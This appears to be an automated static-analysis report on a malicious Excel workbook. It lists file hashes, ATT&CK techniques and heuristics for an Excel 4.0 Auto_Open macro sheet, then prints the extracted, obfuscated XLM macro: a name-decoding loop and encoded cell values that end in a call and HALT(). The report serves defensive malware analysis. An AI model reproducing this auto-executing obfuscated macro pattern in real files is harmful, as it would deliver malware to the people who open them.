Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55546126f8733903…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:35 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 632924b793fbe0dcfd8909311d0f8215 SHA-1: d05dd2a9a9501a71a1dc1cc75bb23880a8563c4f SHA-256: 55546126f87339037cb3e55c55336caf1f38c80ca3c8362cbb5f1d9cba6ea5aa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

Static analysis revealed the presence of Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical indicator of malicious intent. The XLM macros utilize dangerous formula APIs, including a RUN function, suggesting an attempt to execute arbitrary code. The document body contains heavily obfuscated text, further indicating a malicious document designed to evade analysis.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6873 bytes
SHA-256: f3916c484a35c3aaea39b3cb87479f56f334af75daab0705f4444c4f98b76700
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RohADOCcfmN
' 0018     24 LABEL : Cell Value, String Constant - aBzSqNQZD len=0 
' 0018     25 LABEL : Cell Value, String Constant - APGEoonLcF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I179 
' 0018     23 LABEL : Cell Value, String Constant - AxDHSfnh len=0 
' 0018     20 LABEL : Cell Value, String Constant - bPPrz len=0 
' 0018     20 LABEL : Cell Value, String Constant - BVLlT len=0 
' 0018     25 LABEL : Cell Value, String Constant - cLnUQJvqTH len=0 
' 0018     21 LABEL : Cell Value, String Constant - Devchw len=0 
' 0018     21 LABEL : Cell Value, String Constant - dJEkhi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ebRMjgfMXI len=0 
' 0018     21 LABEL : Cell Value, String Constant - eFKhkT len=0 
' 0018     22 LABEL : Cell Value, String Constant - Fkfckvc len=0 
' 0018     22 LABEL : Cell Value, String Constant - JhEKDTx len=0 
' 0018     26 LABEL : Cell Value, String Constant - kHACAWxOvUM len=0 
' 0018     27 LABEL : Cell Value, String Constant - MgvzvTriKIVg len=0 
' 0018     23 LABEL : Cell Value, String Constant - oAAAsnhH len=0 
' 0018     26 LABEL : Cell Value, String Constant - PNYSmtRMLrT len=0 
' 0018     26 LABEL : Cell Value, String Constant - qsTakvmSlKY len=0 
' 0018     23 LABEL : Cell Value, String Constant - SxZzUsJk len=0 
' 0018     21 LABEL : Cell Value, String Constant - zFzroa len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZvXBnTnTIA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RohADOCcfmN,S69,"",767.00000000000000000000
'  RohADOCcfmN,S70,"",-470.00000000000000000000
'  RohADOCcfmN,S71,"",926.00000000000000000000
'  RohADOCcfmN,S72,"",142.00000000000000000000
'  RohADOCcfmN,S73,"",-902.00000000000000000000
'  RohADOCcfmN,S74,"",-224.00000000000000000000
'  RohADOCcfmN,I90,"SET.NAME("APGEoonLcF",0+VALUE("0"))",""
'  RohADOCcfmN,I94,"SET.NAME("ZvXBnTnTIA",APGEoonLcF)",""
'  RohADOCcfmN,I96,"SET.NAME("oAAAsnhH",APGEoonLcF)",""
'  RohADOCcfmN,I99,"SET.NAME("zFzroa",COUNTA(Devchw))",""
'  RohADOCcfmN,I102,"SET.NAME("Fkfckvc",COUNTA(eFKhkT))",""
'  RohADOCcfmN,I106,[],""
'  RohADOCcfmN,I109,"SET.NAME("cLnUQJvqTH","")",""
'  RohADOCcfmN,I113,"ZvXBnTnTIA",""
'  RohADOCcfmN,I117,"SET.NAME("BVLlT",HLOOKUP("*",Devchw,ZvXBnTnTIA,FALSE))",""
'  RohADOCcfmN,I122,"SxZzUsJk",""
'  RohADOCcfmN,I125,"SET.NAME("MgvzvTriKIVg",APGEoonLcF)",""
'  RohADOCcfmN,I127,[],""
'  RohADOCcfmN,I131,"MgvzvTriKIVg",""
'  RohADOCcfmN,I136,"AxDHSfnh",""
'  RohADOCcfmN,I138,"PNYSmtRMLrT",""
'  RohADOCcfmN,I142,"qsTakvmSlKY",""
'  RohADOCcfmN,I146,"SET.NAME("ebRMjgfMXI",VALUE(HLOOKUP("*",eFKhkT,qsTakvmSlKY,FALSE)))",""
'  RohADOCcfmN,I149,"aBzSqNQZD",""
'  RohADOCcfmN,I153,"cLnUQJvqTH",""
'  RohADOCcfmN,I155,"oAAAsnhH",""
'  RohADOCcfmN,I157,NEXT(),""
'  RohADOCcfmN,I160,"dJEkhi",""
'  RohADOCcfmN,I165,[],""
'  RohADOCcfmN,I168,"kHACAWxOvUM",""
'  RohADOCcfmN,I172,NEXT(),""
'  RohADOCcfmN,I174,RETURN(),""
'  RohADOCcfmN,I206,"SET.NAME("JhEKDTx",I90)",""
'  RohADOCcfmN,I208,"Devchw",""
'  RohADOCcfmN,I213,"SET.NAME("eFKhkT",R85C12)",""
'  RohADOCcfmN,I216,"SET.NAME("kHACAWxOvUM",224)",""
'  RohADOCcfmN,I220,"SET.NAME("bPPrz",9)",""
'  RohADOCcfmN,I223,JhEKDTx(),""
'  RohADOCcfmN,I224,HALT(),""

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